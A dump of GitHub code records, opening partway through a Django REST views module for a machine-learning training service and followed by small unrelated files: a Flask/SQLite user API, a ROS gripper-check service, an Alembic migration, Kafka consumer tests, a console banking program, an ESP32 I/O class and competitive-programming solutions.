self.request.method.lower() != 'get' and obj.shared:\n raise APIPermissionDenied()\n return obj\n\n def destroy(self, request, pk):\n obj = self.get_object()\n obj.to_delete_state()\n return Response(status=status.HTTP_204_NO_CONTENT)\n\n @action()\n def stop(self, request, pk):\n obj = self.get_object()\n obj.cancel_or_error()\n serializer = self.get_serializer(instance=obj)\n return Response(serializer.data, status=status.HTTP_200_OK)\n\n @action()\n def resume(self, request, pk):\n obj = self.get_object()\n if obj.state not in (obj.ST_ERROR, obj.ST_STOP, obj.ST_NEW):\n raise APIBadRequest('You should stop ensemble before restart.')\n if not obj.is_datasets_valid():\n raise APIBadRequest('Ensemble datasets are not configured.')\n is_sended_to_queue = obj.resume()\n if is_sended_to_queue:\n serializer = self.get_serializer(instance=obj)\n return Response(serializer.data, status=status.HTTP_200_OK)\n else:\n raise APIStandardError('Training service is unavailable, '\n 'please try later.')\n\n @action(permission_classes=[IsAuthenticated, IsSuperUser])\n def share(self, request, pk):\n obj = self.get_object()\n success = obj.share()\n if not success:\n raise APIBadRequest(\"This ensemble can't be shared.\")\n serializer = self.get_serializer(instance=obj)\n return Response(serializer.data, status=status.HTTP_200_OK)\n\n\nclass DataViewSet(AuthPermMixin, viewsets.ModelViewSet):\n \"\"\"\n List, retrieve, update or delete a data instance.\n \"\"\"\n serializer_class = DataFileSerializer\n filter_backends = (filters.DjangoFilterBackend, filters.OrderingFilter)\n filter_fields = ('file_format', 'shared')\n ordering = ('-created', )\n model = DataFile\n\n def create(self, request, *args, **kwargs):\n self.is_create_request = True\n serializer = self.get_serializer(data=request.DATA,\n files=request.FILES)\n if serializer.is_valid():\n self.pre_save(serializer.object)\n self.object = serializer.save(force_insert=True)\n self.post_save(self.object, created=True)\n serializer = DataFileSerializer(\n instance=self.object, context=self.get_serializer_context()\n )\n headers = self.get_success_headers(serializer.data)\n return Response(serializer.data, status=status.HTTP_201_CREATED,\n headers=headers)\n return Response(serializer.errors, status=status.HTTP_400_BAD_REQUEST)\n\n def get_serializer_class(self):\n if getattr(self, 'is_create_request', False):\n return DataFileCreateSerializer\n return DataFileSerializer\n\n def get_queryset(self):\n return DataFile.objects.visible_to(self.request.user)\\\n .for_serialization()\n\n def pre_save(self, obj):\n obj.user = self.request.user\n\n def post_save(self, obj, created=False):\n if created:\n obj.schedule_parsing()\n\n def get_object(self):\n obj = super(DataViewSet, self).get_object()\n if self.request.method.lower() != 'get' and obj.shared:\n raise APIPermissionDenied()\n return obj\n\n def destroy(self, request, pk):\n obj = self.get_object()\n obj.schedule_delete()\n return Response(status=status.HTTP_204_NO_CONTENT)\n\n @action()\n def parse(self, request, pk):\n obj = self.get_object()\n if obj.need_reparse():\n obj.schedule_parsing()\n serializer = self.get_serializer(instance=obj)\n return Response(serializer.data, status=status.HTTP_200_OK)\n else:\n raise APIBadRequest('Parse not allowed.')\n\n @action(permission_classes=[IsAuthenticated, IsSuperUser])\n def share(self, request, pk):\n obj = self.get_object()\n obj.share()\n serializer = self.get_serializer(instance=obj)\n return Response(serializer.data, status=status.HTTP_200_OK)\n\n\nclass DataSetViewSet(AuthPermMixin,\n mixins.ListModelMixin,\n mixins.CreateModelMixin,\n mixins.RetrieveModelMixin,\n mixins.DestroyModelMixin,\n viewsets.GenericViewSet):\n \"\"\"\n List, create, retrieve and delete a dataset instance\n \"\"\"\n serializer_class = DataSetSerializer\n filter_backends = (DataSetFilterBackend, filters.OrderingFilter)\n filter_fields = ('data', )\n ordering = ('-created', )\n\n def get_queryset(self):\n return DataSet.objects.visible_to(self.request.user)\\\n .for_serialization()\n\n def get_object(self):\n obj = super(DataSetViewSet, self).get_object()\n if self.request.method.lower() != 'get' and obj.shared:\n raise APIPermissionDenied()\n return obj\n\n def pre_save(self, objects):\n if not isinstance(objects, list):\n objects = [objects]\n for obj in objects:\n obj.user = self.request.user\n obj.key = build_key(self.request.user.id, obj.name,\n prefix=\"uploads/dataset\") + '.hdf5'\n\n def get_serializer(self, instance=None, data=None,\n files=None, many=False, partial=False):\n if isinstance(data, list):\n many = True\n return super(DataSetViewSet, self).get_serializer(instance, data,\n files, many, partial)\n\n def destroy(self, request, pk):\n obj = self.get_object()\n if obj.deletable:\n obj.state = obj.ST_DELETE\n obj.save()\n return Response(status=status.HTTP_204_NO_CONTENT)\n raise APIBadRequest(\"This dataset has ensembles, delete not allowed.\")\n\n\nclass LearnModelViewSet(AuthPermMixin, viewsets.ModelViewSet):\n \"\"\"\n Create, list models.\n \"\"\"\n serializer_class = LearnModelSerializer\n filter_backends = (filters.DjangoFilterBackend, filters.OrderingFilter)\n filter_fields = ('ensemble', )\n\n def get_queryset(self, queryset=None):\n return LearnModel.objects.visible_to(self.request.user)\n\n def get_serializer(self, instance=None, data=None,\n files=None, many=False, partial=False):\n if isinstance(data, list):\n many = True\n return super(LearnModelViewSet, self).get_serializer(instance, data,\n files, many,\n partial)\n\n def pre_save(self, objects):\n if not isinstance(objects, list):\n objects = [objects]\n for obj in objects:\n if obj.model_name == 'MRNN':\n #FIXME: this only works if ensemble new\n ens = obj.ensemble\n ens.config = get_default_settings(\"SPEARMINT\")\n ens.save()\n\n def get_object(self):\n obj = super(LearnModelViewSet, self).get_object()\n if self.request.method.lower() != 'get' and obj.readonly:\n raise APIPermissionDenied()\n return obj\n\n def destroy(self, request, pk):\n obj = self.get_object()\n if obj.state in ('TRAIN', 'QUEUE'):\n raise APIBadRequest({\n 'status': 'fail',\n 'problem': 'Model in state: %s. Can\\'t be deleted' % obj.state\n })\n obj.to_delete_state()\n return Response(status=status.HTTP_204_NO_CONTENT)\n\n @action()\n def resume(self, request, pk):\n #TODO: more tests\n model = self._get_object_for_resume()\n if 'iteration' in request.DATA:\n try:\n iteration = model.stats.live()\\\n .get(iteration=request.DATA.get('iteration'))\n except (LearnModelStat.DoesNotExist, ValueError):\n raise APIBadRequest({'status': 'fail',\n 'problem': 'Invalid iteration.'})\n else:\n try:\n iteration = model.stats.live().latest('iteration')\n except LearnModelStat.DoesNotExist:\n raise APIBadRequest({'status': 'fail',\n 'problem': 'No iterations for resume.'})\n try:\n model.resume(iteration)\n except BadOperation:\n transaction.rollback()\n raise APIBadRequest({'status': 'fail',\n 'problem': \"Can't resume this model\"})\n serializer = self.get_serializer(instance=model)\n return Response(serializer.data, status=status.HTTP_200_OK)\n\n @action()\n def restart(self, request, pk):\n model = self._get_object_for_resume(restart=True)\n try:\n model.restart()\n except BadOperation:\n transaction.rollback()\n raise APIBadRequest({'status': 'fail',\n 'problem': \"Can't restart this model\"})\n serializer = self.get_serializer(instance=model)\n return Response(serializer.data, status=status.HTTP_200_OK)\n\n @action()\n def finalize(self, request, pk):\n #TODO: tests\n model = self.get_object()\n if model.state != 'CANCELED':\n raise APIBadRequest({'status': 'fail', 'problem': 'Bad request.'})\n error = model.user_finalize()\n if error:\n raise APIBadRequest({'status': 'fail', 'problem': error})\n serializer = self.get_serializer(instance=model)\n return Response(serializer.data, status=status.HTTP_200_OK)\n\n def _get_object_for_resume(self, restart=False):\n model = self.get_object()\n #TODO: readonly\n states = ('CANCELED', 'ERROR', 'FINISHED')\n if restart:\n states += ('NEW',)\n if model.state not in states:\n raise APIBadRequest({'status': 'fail',\n 'problem': 'Model not in right state.'})\n return model\n\n @link()\n def stats(self, request, pk):\n obj = self.get_object()\n res = []\n stat_id__gt = 0\n if obj.has_many_iters():\n stat_id__gt = request.QUERY_PARAMS.get('stat_id__gt', 0)\n for stat_pk, data in obj.stats.live() \\\n .filter(id__gt=stat_id__gt).order_by('iteration') \\\n .values_list('pk', 'data'):\n data = json.loads(data, parse_constant=lambda x: 0.00001)\n data['id'] = stat_pk\n res.append(data)\n return HttpResponse(json.dumps(res), content_type='application/json')\n\n\nclass PredictViewSet(AuthPermMixin,\n mixins.ListModelMixin,\n mixins.CreateModelMixin,\n mixins.RetrieveModelMixin,\n mixins.DestroyModelMixin,\n viewsets.GenericViewSet):\n serializer_class = PredictEnsembleSerializer\n filter_backends = (PredictFilterBackend, )\n model = PredictEnsemble\n\n def get_queryset(self):\n return PredictEnsemble.objects.visible_to(self.request.user)\n\n def pre_save(self, obj):\n obj.user = self.request.user\n try:\n self._predict_ensemble_iterations = \\\n predict_ensemble_iterations_validator(\n self.request.DATA.get('iterations'),\n self.request.user\n )\n except serializers.ValidationError as exc:\n raise APIBadRequest(exc.message_dict)\n try:\n with_files = predict_ensemble_data_validator(\n self._predict_ensemble_iterations,\n obj.input_data,\n obj.dataset,\n self.request.FILES)\n except serializers.ValidationError as exc:\n try:\n raise APIBadRequest(exc.message_dict)\n except AttributeError:\n raise APIBadRequest(exc.messages)\n if with_files:\n files = []\n for k, v in self.request.FILES.iteritems():\n if not k.startswith('file-'):\n continue\n form = ConvnetFileUploadForm({}, {'file': v})\n if not form.is_valid():\n raise APIBadRequest({k: \"Bad image file.\"})\n img = form.cleaned_data['file']\n img.name = k + '--' + img.name\n files.append(img)\n if not files:\n raise APIBadRequest(\"No images found.\")\n from core.cifar import build_batch\n model = LearnModelStat.objects \\\n .get(pk=self._predict_ensemble_iterations[0]).model\n file_ = build_batch(files, img_size=model.model_params['img_size'])\n key = build_key(self.request.user.pk, 'batch.pkl')\n upload_data_to_s3(key, file_)\n obj.s3key = key\n\n def post_save(self, obj, created=False):\n for iteration in self._predict_ensemble_iterations:\n Predict.objects.create(iteration_id=iteration, ensemble=obj)\n obj.push_predicts_to_queue()\n\n\ndef worker_api(f):\n @wraps(f)\n def wrapper(request, *args, **kwds):\n if request.method == 'POST':\n try:\n data = json.loads(request.body)\n except ValueError:\n return HttpResponseForbidden(json.dumps({\n 'status': 'fail', 'problem': 'invalid json'\n }), content_type=\"application/json\")\n else:\n data = request.GET\n if data.get('worker_key') != settings.WORKER_KEY:\n return HttpResponseForbidden(json.dumps({\n 'status': 'fail', 'problem': 'invalid worker key'\n }), content_type=\"application/json\")\n return f(request, data, *args, **kwds)\n return wrapper\n\n\n#TODO: quick view for worker, replace with REST\n@csrf_exempt\n@require_POST\n@worker_api\ndef dataset_patch(request, data):\n dataset = get_object_or_404(DataSet, pk=data.pop('id'))\n for k, v in data.items():\n setattr(dataset, k, v)\n dataset.save()\n return HttpResponse(json.dumps({'status': 'success'}),\n content_type=\"application/json\")\n\n\n@csrf_exempt\n@require_POST\n@worker_api\ndef stats_view(request, data):\n form = LearnModelStatForm(data)\n if form.is_valid():\n cdata = form.cleaned_data\n model = cdata['model']\n model.add_stat(data=cdata['data'], s3_data=cdata['s3_data'])\n if not model.pass_requirements_for_worker_processing():\n return HttpResponseForbidden(\n json.dumps({'status': 'fail', 'problem': 'User out of time'}),\n content_type=\"application/json\")\n return HttpResponse(json.dumps({'status': 'success'}),\n content_type=\"application/json\")\n return HttpResponseBadRequest(\n json.dumps({'status': 'fail', 'problem': form.errors}),\n content_type=\"application/json\")\n\n\n@csrf_exempt\n@require_POST\n@worker_api\ndef logs_view(request, data):\n try:\n model = LearnModel.objects.get(pk=data.get('model', 0))\n if data.get('is_new', False):\n model.training_logs = data.get('data', '')\n else:\n model.training_logs += data.get('data', '')\n model.save()\n except LearnModel.DoesNotExist:\n return None\n return HttpResponse(json.dumps({'status': 'success'}),\n content_type=\"application/json\")\n\n\n@csrf_exempt\n@require_POST\n@worker_api\ndef worker_job_state_view(request, data):\n form = LearnModelStatusForm(data)\n if form.is_valid():\n model = form.cleaned_data['model']\n cd = form.cleaned_data\n model.update_status(state=cd['state'], error=cd.get('error'),\n traceback=cd.get('traceback'),\n sp_results=cd.get('sp_results'),\n detailed_results=cd.get('detailed_results'),\n model_params=cd.get('model_params'))\n # ^^^ Why is model_params being passed an argument here?\n # If you look at job/models.py, you see that update_status\n # affects traceback, error, and quantiles only. \n if model.model_name == 'TSNE':\n model.model_params = cd.get('model_params')\n model.save()\n if not model.pass_requirements_for_worker_processing():\n return HttpResponseForbidden(json.dumps({\n 'status': 'fail', 'problem': 'User out of time'\n }), content_type=\"application/json\")\n return HttpResponse(json.dumps({'status': 'success'}),\n content_type=\"application/json\")\n return HttpResponseBadRequest(json.dumps({'status': 'fail',\n 'problem': form.errors}),\n content_type=\"application/json\")\n\n\n@csrf_exempt\n@require_POST\n@worker_api\ndef worker_ensemble_state_view(request, data):\n form = TrainEnsembleStatusForm(data)\n if form.is_valid():\n ensemble = form.cleaned_data['ensemble']\n cd = form.cleaned_data\n ensemble.update_status(traceback=cd.get('traceback'),\n error=cd.get('error'),\n quantiles=cd.get('quantiles'))\n if not ensemble.pass_requirements_for_worker_processing():\n return HttpResponseForbidden(json.dumps({\n 'status': 'fail', 'problem': 'User out of time'\n }), content_type=\"application/json\")\n return HttpResponse(json.dumps({'status': 'success'}),\n content_type=\"application/json\")\n return HttpResponseBadRequest(json.dumps({'status': 'fail',\n 'problem': form.errors}),\n content_type=\"application/json\")\n\n\n@csrf_exempt\n@require_POST\n@worker_api\ndef worker_predict_ensemble_state_view(request, data):\n form = PredictEnsembleStatusForm(data)\n if form.is_valid():\n ensemble = form.cleaned_data['ensemble']\n cd = form.cleaned_data\n ensemble.update_status(cd['time'], cd.get('traceback'),\n cd.get('error'), cd.get('results'))\n return HttpResponse(json.dumps({'status': 'success'}),\n content_type=\"application/json\")\n return HttpResponseBadRequest(json.dumps({'status': 'fail',\n 'problem': form.errors}),\n content_type=\"application/json\")\n\n\n#for convnet\n#TODO: replace it with normal api\n@require_GET\n@worker_api\ndef worker_model_stats(request, data):\n model = data.get('model')\n if not model:\n return HttpResponseBadRequest(\n json.dumps({'status': 'fail'}),\n content_type=\"application/json\"\n )\n try:\n data = LearnModel.objects.get(pk=model)\\\n .stats.live().latest('iteration').data\n except:\n return HttpResponseBadRequest(\n json.dumps({'status': 'fail'}),\n content_type=\"application/json\"\n )\n return HttpResponse(json.dumps(data), content_type='application/json')\n","repo_name":"deniskolokol/dlic","sub_path":"front_end/api/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":22907,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"74935456692","text":"# http://www.spoj.com/problems/WORDCNT/\n\ndef main():\n\tT = int(input())\n\n\tfor _ in range(T):\n\t\twords = input().split(' ')\n\t\tcount = 0\n\t\tcounts = []\n\t\tlast = words[0]\n\t\tfor word in words:\n\t\t\tif len(word)==len(last):\n\t\t\t\tcount += 1\n\t\t\telse:\n\t\t\t\tcounts.append(count)\n\t\t\t\tcount = 1\n\t\t\t\tlast = word\n\t\tprint(max(counts))\n\nmain()","repo_name":"gurpreetsingh00885/cp","sub_path":"session1/wordcnt.py","file_name":"wordcnt.py","file_ext":"py","file_size_in_byte":321,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"609048672","text":"from flask import Flask, request, jsonify, make_response\nimport sqlite3\n\napp = Flask (__name__)\n\n#db connection \ndef get_db():\n connection = sqlite3.connect('user_id.db')\n return connection\n\n\n# creat table for storing user ids\ndef db_init():\n connection = get_db()\n cursor = connection.cursor()\n cursor.execute('''\n CREATE TABLE IF NOT EXISTS users (\n id INTEGER PRIMARY KEY,\n firstName TEXT,\n lastName TEXT,\n age INTEGER\n )\n ''')\n connection.commit()\n connection.close # without this connection close getting threading issues, objects created in a thread can only be used in the same thread.\n \n\ndb_init()\n\n@app.route(\"/get-user/\")\ndef get_user(user_id):\n connection = get_db()\n cursor = connection.cursor()\n cursor.execute(\"SELECT * FROM users WHERE id = ?\", (user_id,))\n user = cursor.fetchone()\n if user:\n user_id = {\n 'id': user[0],\n 'firstName': user[1],\n 'lastName': user[2],\n 'age': user[3]\n }\n\n # e = request.args.get(\"e\")\n # if e:\n # users[\"e\"] = e\n cursor.close()\n connection.close()\n return jsonify(user_id), 200\n else:\n cursor.close()\n connection.close()\n return make_response(jsonify({\"error\": \"User ID was not found\"}), 404)\n\n # response = jsonify(users)\n # return make_response(response, 200)\n\n\n\n# Recieve data in json format from request\n@app.route(\"/create-user\", methods=[\"POST\"])\ndef create_user():\n data = request.get_json()\n\n if not data:\n return make_response(jsonify({\"error\": \"Invalid request data\"}), 400)\n \n connection = get_db()\n cursor = connection.cursor()\n \n try:\n cursor.execute(\"INSERT INTO users (firstName, lastName, age) VALUES (?, ?, ?)\",\n (data['firstName'], data['lastName'], data['age']))\n connection.commit()\n cursor.close()\n connection.close()\n except Exception as e:\n return make_response(jsonify({\"error\": f\"Database error: {str(e)}\"}), 500)\n \n response = jsonify(data)\n return make_response(response, 201)\n\n\n\nif __name__ == \"__main__\":\n app.run(debug=True)\n\n\n","repo_name":"rihan97/Real-world-solution-","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2234,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"25212934528","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# This program is used to determine if the vacuum gripper gets an object or not.\n# This information is provided throw a service called /object_gripped which return an ObjectGripped (True or False)\n# The idea is to position the object under the camera and compute the number of objects pixels (here : gray pixels for the cylinders)\n# If this number is above THRESHOLD_NB_PIXELS, we conclude that an object has been gripped.\n\nimport numpy as np\nimport cv2\nimport rospy\nfrom cv_bridge import CvBridge\nfrom raiv_libraries.robotUR import RobotUR\nimport geometry_msgs.msg as geometry_msgs\nfrom sensor_msgs.msg import Image\nfrom raiv_libraries.srv import ObjectGripped, ObjectGrippedResponse\n\nX = 0.3\nY = 0\nZ = 0.12\nDELAY_TO_MOVE = 4\nTHRESHOLD_NB_PIXELS = 500 # If this number of gray pixels are detected, we conclude that an object is present\n\ntool_test_gripped_pose = geometry_msgs.Quaternion(0, 0.924, 0, 0.383)\nmy_robot = RobotUR()\n\ndef handle_object_gripped(req):\n initial_pose = my_robot.get_current_pose()\n\n #Move the robot to the test position\n my_robot.go_to_pose(geometry_msgs.Pose(\n geometry_msgs.Vector3(0.21, -0.27, 0.12), tool_test_gripped_pose\n ), DELAY_TO_MOVE)\n\n #Read image\n rgb = rospy.wait_for_message(\"/camera/color/image_raw\", Image)\n cv_image_rgb = CvBridge().imgmsg_to_cv2(rgb, desired_encoding ='bgr8')\n\n #Crop the image and convert BGR to HSV\n #cropped_image = cv_image_rgb[350:402, 297:402]\n hsv = cv2.cvtColor(cv_image_rgb, cv2.COLOR_BGR2HSV)\n\n #Color strength parameters in HSV\n weaker = np.array([40, 40, 40])\n stronger = np.array([180, 105, 180])\n\n #Threshold HSV image to obtain input color\n mask = cv2.inRange(hsv, weaker, stronger)\n\n nb_pixels = cv2.countNonZero(mask)\n print(nb_pixels, \"grey pixels\")\n\n # Return to initial pose\n my_robot.go_to_pose(initial_pose, DELAY_TO_MOVE)\n\n gripped = nb_pixels >= THRESHOLD_NB_PIXELS\n return ObjectGrippedResponse(gripped)\n\nif __name__ == \"__main__\":\n rospy.init_node('test_object_gripped')\n s = rospy.Service('object_gripped', ObjectGripped, handle_object_gripped)\n print(\"Ready to test_object_gripped.\")\n rospy.spin()","repo_name":"raiv-toulouse/raiv_libraries","sub_path":"src/raiv_libraries/test_object_gripped.py","file_name":"test_object_gripped.py","file_ext":"py","file_size_in_byte":2233,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"37448630952","text":"import sys\r\nfrom collections import deque\r\nline = sys.stdin.readline\r\n\r\nN, M = map(int, line().split())\r\n\r\n\r\n\r\nif N%3==0 or N%3==1:\r\n s=N//3+1\r\n e=N-N//3\r\n if s<=M and M<=e:\r\n print('YES')\r\n else:\r\n print('NO')\r\nelif N%3==2:\r\n s=N//3+1\r\n e=N-N//3-1\r\n if s<=M and M<=e:\r\n print('YES')\r\n else:\r\n print('NO')\r\n\r\n\r\n# pizza = deque()\r\n# for _ in range(N):\r\n# pizza.append(tuple(line().split()))\r\n\r\n# if M == N == 1:\r\n# print('YES')\r\n\r\n\r\n# elif M > N//2 and M-N//2 > N//2:\r\n# print('NO')\r\n# elif M <= N//2 and N//2-M > N//2:\r\n# print('NO')\r\n# else:\r\n# print('YES')\r\n\r\n# flag = 1\r\n# if N==1 and M==1:\r\n# print('YES')\r\n# exit()\r\n# while True:\r\n# if N == M :\r\n# flag = 0\r\n# break\r\n\r\n# N -= 1\r\n# if N == 1 and M == 1:\r\n# break\r\n# if M==1:\r\n# flag = 0\r\n# break\r\n# N -= 1\r\n\r\n# M -= 1\r\n# if N == 1 and M == 1:\r\n# break\r\n# if M > N//2:\r\n# N -= 1\r\n# M -= 1\r\n# else:\r\n# N -= 1\r\n# if N == 1 and M == 1:\r\n# break\r\n# if flag == 1:\r\n# print('YES')\r\n# else:\r\n# print('NO')\r\n\r\n# answer=pizza[M-1][1]\r\n\r\n# while True:\r\n# if len(pizza)==1:\r\n# break\r\n# pizza.pop()\r\n# if len(pizza)==1:\r\n# break\r\n# pizza.popleft()\r\n# if len(pizza)==1:\r\n# break\r\n# if N//2 List[ConnectorConfig]:\n \"\"\"Returns a list containing KafkaConsumer ConnectorConfig models\"\"\"\n config_data = [\n {\n \"type\": \"inbound\",\n \"id\": \"kafka-consumer-1\",\n \"name\": \"Test Kafka Consumer 1\",\n \"config\": {\n \"type\": \"KafkaConsumer\",\n \"topics\": [\"topic-a\"],\n \"bootstrap_servers\": \"somehost:9092\",\n },\n },\n {\n \"type\": \"inbound\",\n \"id\": \"kafka-consumer-2\",\n \"name\": \"Test Kafka Consumer 2\",\n \"config\": {\n \"type\": \"KafkaConsumer\",\n \"topics\": [\"hot-topic\"],\n \"bootstrap_servers\": \"otherhost:9092\",\n },\n },\n ]\n\n configs: List[ConnectorConfig] = [ConnectorConfig(**c) for c in config_data]\n return configs\n\n\n@pytest.mark.asyncio\nasync def test_get_and_create_kafka_consumer_connectors(monkeypatch, connector_configs):\n \"\"\"\n Validates that get_kafka_consumer_connectors and create_kafka_consumer_connectors work correctly.\n - get_kafka_connnectors returns an empty list prior to create_kafka_consumer_connectors being invoked\n - get_kafka_connectors returns a populated list after create_kafka_consumer_connectors is invoked.\n\n :param monkeypatch: The pytest monkeypatch fixture\n :param connector_configs: The Kafka Connector Configuration fixtures\n \"\"\"\n monkeypatch.setattr(\n \"linuxforhealth.healthos.core.connector.kafka.kafka_consumer_connectors\",\n None,\n )\n assert True\n\n monkeypatch.setattr(AIOKafkaConsumer, \"start\", AsyncMock())\n\n kafka_consumers = get_kafka_consumer_connectors()\n assert kafka_consumers == []\n\n await create_kafka_consumer_connector(connector_configs)\n\n kafka_consumers = get_kafka_consumer_connectors()\n assert len(kafka_consumers) == 2\n\n\n@pytest.mark.asyncio\nasync def test_consume_message(monkeypatch, mock_kafka_consumer, publish_model):\n \"\"\"\n Tests consume messages when processing completes as expected\n \"\"\"\n process_data_mock = AsyncMock(spec=process_data)\n process_data_mock.return_value = publish_model\n monkeypatch.setattr(\n \"linuxforhealth.healthos.core.connector.kafka.process_data\", process_data_mock\n )\n\n mock_consumer = mock_kafka_consumer([b\"ADT-hl7v2-message\", b\"ORU-hl7v2-message\"])\n await consume_message(mock_consumer)\n\n expected_calls = [call(\"ADT-hl7v2-message\"), call(\"ORU-hl7v2-message\")]\n assert process_data_mock.call_count == 2\n process_data_mock.assert_has_calls(expected_calls)\n","repo_name":"LinuxForHealth/HealthOS","sub_path":"core/tests/connector/test_kafka_consumer_connector.py","file_name":"test_kafka_consumer_connector.py","file_ext":"py","file_size_in_byte":3034,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"21"} +{"seq_id":"3721123212","text":"\"\"\"create and seed item table\n\nRevision ID: 86998e2c2489\nRevises:\nCreate Date: 2016-11-13 23:15:07.925884\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\nfrom sqlalchemy.sql import table\n\n\n# revision identifiers, used by Alembic.\nrevision = '86998e2c2489'\ndown_revision = None\nbranch_labels = None\ndepends_on = None\n\ndef upgrade():\n op.create_table(\n 'items',\n sa.Column('id', sa.Integer, primary_key=True),\n sa.Column('name', sa.String),\n )\n\n items_table = table(\n 'items',\n sa.Column('id', sa.Integer, primary_key=True),\n sa.Column('name', sa.String),\n )\n\n op.bulk_insert(items_table,\n [\n {\n 'id': 1,\n 'name': 'Green Eggs'\n },\n {\n 'id': 2,\n 'name': 'Ham'\n }\n ]\n )\n\ndef downgrade():\n op.drop_table('items')\n","repo_name":"mdzhang/grpc-python-example","sub_path":"grpc_python_example/services/implementations/database/alembic/versions/86998e2c2489_create_and_seed_item_table.py","file_name":"86998e2c2489_create_and_seed_item_table.py","file_ext":"py","file_size_in_byte":893,"program_lang":"python","lang":"en","doc_type":"code","stars":21,"dataset":"github-code","pt":"21"} +{"seq_id":"33562987737","text":"import random\r\nclass bank:\r\n\r\n def __init__(self,record):\r\n self.record = record\r\n\r\n\r\n def display(self):\r\n p = int(input(\"Enter Your Pin : \"))\r\n if p in self.record.keys() :\r\n print(\"Account Holder Name :\",self.record[p][0])\r\n print(\"Account Balance : Rs.\",self.record[p][1])\r\n print(\"Account Type : \", self.record[p][2])\r\n else:\r\n print(\"Invalid Pin\")\r\n\r\n\r\n def create(self):\r\n while True:\r\n n = input(\"Enter Your Name : \")\r\n if n.isalpha():\r\n\r\n a = int(input(\"Enter Your Age : \"))\r\n if(a>17):\r\n x=\"Major\"\r\n else:\r\n x=\"Minor\"\r\n\r\n while True:\r\n p = int(input(\"Create Your Pin : \"))\r\n if p not in self.record.keys():\r\n self.record[p] = [n, 0, x]\r\n break\r\n elif p in self.record.keys() :\r\n print(\"Select a Different Pin\")\r\n print(\"Account Created Successfully\")\r\n break\r\n\r\n else:\r\n print(\"Name must not contain integer or special characters..\")\r\n\r\n\r\n def deposite(self):\r\n p = int(input(\"Enter Your Pin : \"))\r\n if p in self.record:\r\n m = int(input(\"Enter The Amount : \"))\r\n self.record[p][1] += m\r\n print(\"Balance Updated :\",self.record[p][1])\r\n\r\n\r\n def withdraw(self):\r\n p = int(input(\"Enter Your Pin : \"))\r\n if p in self.record:\r\n m = int(input(\"Enter The Amount : \"))\r\n if (m <= self.record[p][1]):\r\n self.record[p][1] -= m\r\n print(\"Balance Updated :\", self.record[p][1])\r\n else:\r\n print(\"Not Enough Balance.. \")\r\n\r\n\r\n def calc_si(self):\r\n p = int(input(\"Enter Your Pin : \"))\r\n if p in self.record:\r\n m = int(input(\"Enter The Amount : \"))\r\n if (m <= self.record[p][1]):\r\n r = random.randint(1,10)\r\n t = int(input(\"Enter Time Period : \"))\r\n si = (m*r*t)/100\r\n a = m+si\r\n print(\"You'll get Rs.{} at {}% rate in {} years. \".format(a,r,t))\r\n\r\n else:\r\n print(\"Not Enough Balance.. \")\r\n\r\n def calc_ci(self):\r\n p = int(input(\"Enter Your Pin : \"))\r\n if p in self.record:\r\n m = int(input(\"Enter The Amount : \"))\r\n if (m <= self.record[p][1]):\r\n r = random.randint(1,10)\r\n t = int(input(\"Enter Time Period : \"))\r\n ci = round(m*((1+(r/100))**t),2)\r\n print(\"You'll get Rs.{} at {}% rate in {} years. \".format(ci,r,t))\r\n\r\n else:\r\n print(\"Not Enough Balance.. \")\r\n\r\n\r\ndef execute():\r\n\r\n record={}\r\n obj = bank(record)\r\n\r\n print(\"******************************\")\r\n print(\"=====WELCOME TO THE BANK!=====\")\r\n print(\"Your Money Is Safe With Us\")\r\n print(\"******************************\")\r\n\r\n print(\"WHAT YOU WANNA DO ? (from 1 - 6)\")\r\n\r\n while True:\r\n print(\"\\n1. Display Account Details \\n2. Create Account\\n3. Deposite Money\\n4. Withdraw Money\\n5. Simple Interest Calculator\\n6. Compound Interest Calculator\\n7. Exit\")\r\n try:\r\n choice = int(input(\"Enter your choice :\"))\r\n if choice == 7:\r\n print(\"Have a nice day!\")\r\n break\r\n elif choice == 1:\r\n obj.display()\r\n elif choice == 2:\r\n obj.create()\r\n elif choice == 3:\r\n obj.deposite()\r\n elif choice == 4:\r\n obj.withdraw()\r\n elif choice == 5:\r\n obj.calc_si()\r\n elif choice == 6:\r\n obj.calc_ci()\r\n\r\n else:\r\n print(\"CHOICE OUT OF RANGE! CHOOSE FROM 1-7\")\r\n\r\n except ValueError as e:\r\n print(\"PLEASE ENTER A VALID INTEGER !!\")\r\n\r\nexecute()","repo_name":"Yatharth-Nakul/Python-Projects-And-Programs","sub_path":"Banking System.py","file_name":"Banking System.py","file_ext":"py","file_size_in_byte":4059,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"8478546749","text":"import machine\nimport time\nimport math\n\nclass esp32IO:\n \n def __init__(self,freq=400000):\n self.__freq=freq\n self.__hspi=None\n self.__vspi=None\n self.__i2c=None\n \n def On(self,pinID):\n return machine.Pin(pinID, machine.Pin.OUT)\n\n def Off(self,pinID):\n return machine.Pin(pinID, machine.Pin.IN)\n\n def i2cInit(self):\n self.__i2c=machine.I2C(scl=machine.Pin(22),sda=machine.Pin(21),freq=self.__freq)\n\n def i2cCmd(self,address,data):\n self.__i2c.writeto(address,data)\n\n def i2cCmdOffset(self,address,data,offset):\n self.__i2c.writeto_mem(address,offset,data)\n\n def i2cRead(self,address,length):\n return self.__i2c.readfrom(address,length)\n \n def i2cReadOffset(self,address,length,offset):\n return self.__i2c.readfrom_mem(address,offset,length)\n\n def spi_init(self,pbaudrate=80000000):\n self.__hspi = machine.SPI(1, sck=machine.Pin(14), mosi=machine.Pin(13), miso=machine.Pin(12), baudrate=pbaudrate)\n self.__vspi = machine.SPI(2, sck=machine.Pin(18), mosi=machine.Pin(23), miso=machine.Pin(19), baudrate=pbaudrate)\n\n def spiRead(self,hspi,length):\n if hspi:\n return self.__hspi.read(length)\n else:\n return self.__vspi.read(length)\n\n def spiReadOffset(self,hspi,length,offset):\n if hspi:\n return self.__hspi.read(length,offset)\n else:\n return 